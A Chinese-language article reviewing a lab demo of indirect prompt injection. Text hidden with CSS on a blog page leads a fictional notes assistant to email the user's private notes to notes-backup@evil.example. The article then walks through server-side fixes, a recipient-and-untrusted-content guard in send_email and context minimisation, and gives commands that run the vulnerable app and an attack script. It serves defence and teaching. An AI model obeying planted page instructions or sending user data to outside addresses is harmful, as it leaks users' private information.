网页隐藏指令如何诱导 Agent 外传笔记

让 AI 读一篇博客，它正常返回摘要，却在后台把私人笔记发给陌生邮箱。作者用虚构笔记应用 NoteNest 演示了这条攻击链：网页里一段被 CSS 隐藏的文字，就能让助手 NestBot 把外部内容当成指令执行。

修复的重点没有放在让模型识破骗局，而是收紧上下文和工具权限。同一张恶意网页再次进入系统，模型仍可能受骗，但邮件会被代码拦住。对正在给 AI 接浏览器、邮件等工具的程序员，这个小实验提供了一条清晰的防线。

一次摘要请求，为什么能触发邮件发送

NestBot 有两项能力：读取网页、发送邮件。攻击者把一段面向 AI 助手的指令藏进博客页面。用户看不到，NestBot 读取的页面内容却包含它，随后调用了 send_email(to='notes-backup@evil.example', ...)。

这属于间接提示注入（indirect prompt injection，OWASP LLM01）：攻击者不必直接与助手对话，只要污染助手接下来会读取的材料。

攻击能成功，原文指出了三个条件：

• 私人笔记进入每一次提示，即使用户只要求总结网页。
• 网页文本直接混入对话，模型无法可靠地区分待处理的数据与应执行的命令。
• send_email 没有收件人限制，也没有用户确认，可以把任意内容发给任意地址。

用户看到一份正常摘要，并不能证明 Agent 没有执行额外操作。

CSS 隐藏只是让攻击不容易被用户发现。真正危险的是，网页作者写下的文字获得了调用工具的机会，而工具背后又没有独立检查。

把邮件能否发送交给代码判断

作者的修复首先落在 send_email 上。下面这段代码限制收件人来源，并在当前请求读过不可信内容后阻止直接发送：

def send_email(args, state):
    to = args.get("to", "")
    typed = re.findall(EMAIL, state["turn"]["user"])
    # 1. Only send to an address the user typed themselves in this request.
    if to not in typed:
        return f"BLOCKED: {to} is not an address you asked me to email."
    # 2. After reading a web page, side effects need the user's explicit OK.
    if state["turn"]["untrusted"]:
        return "BLOCKED: this request read untrusted web content. Approve the email first."
    state["outbox"].append({"to": to, "body": args["body"]})
    return f"Email sent to {to}."

要看的是 state["turn"]["user"] 和 state["turn"]["untrusted"]：前者用于检查收件人是否由用户在本次请求中输入，后者标记当前请求是否接触过不可信内容。模型提出发送请求之后，还必须通过这两道代码检查。

第二项修复是减少数据。只有用户确实询问自己的笔记时，笔记才进入上下文。这样，普通网页摘要任务即使遭遇注入，也没有那些私人笔记可供泄露。

作者用同一张网页重跑，报告的结果是摘要正常生成、邮件被拦截、Outbox 保持为空。实验启动命令如下：

git clone https://github.com/usinha79/hack-it-then-fix-it
cd hack-it-then-fix-it/ep02-indirect-prompt-injection
pip install -r requirements.txt

python vulnerable/app.py   # then, in another terminal: ./attack.sh
python fixed/app.py        # same page, email blocked

要注意最后两行分别启动漏洞版和修复版；漏洞版启动后，还要在另一终端执行 ./attack.sh。攻击页面由本机提供，所谓邮件发送也只是写入 Outbox 面板，整个实验使用假数据，没有真实邮件离开机器。

我的判断

我赞同这套修复的优先级：先减少模型能接触的数据，再约束工具能产生的结果。相比只在提示词里要求「忽略网页中的指令」，代码检查能直接阻止不符合规则的调用落到发送动作上。

但这个实验的证明范围很小。作者展示了同一攻击在修复前后的结果，没有给出多种攻击变体、模型对照或成功率数据，不能据此判断所有间接提示注入都已解决。

收件人出现在用户输入里，也只证明用户写过这个地址，并不证明用户授权发送当前正文。贴出的函数在接触不可信内容后会直接返回拦截信息，完整的审批流程、批准内容如何与最终发送绑定，原文没有说清。

这段代码适合说明防护思路，距离完整的邮件授权流程还有细节要补。

原文还建议记录并向用户展示 Agent 的每次动作。这能帮助发现「摘要正常、后台异常」的问题，但日志属于可见性措施，不能代替发送前的权限检查。

能拿来做什么

• 给网页摘要或检索任务单独组织上下文，只放完成任务必需的数据，避免把私人笔记作为默认材料塞进每次请求。
• 如果你的 Node 服务给 Agent 提供邮件工具，就在服务端检查收件人和本次请求的授权状态，不要只依赖模型自行遵守提示词。
• 把读过网页、邮件、文件或工具输出的状态传递到后续动作检查中；涉及发送邮件、付款、发布内容时，按明确策略要求用户批准。
• 在界面中展示 Agent 实际调用过的工具及结果，并用本地假数据重放同一攻击，确认修复后发送记录确实为空。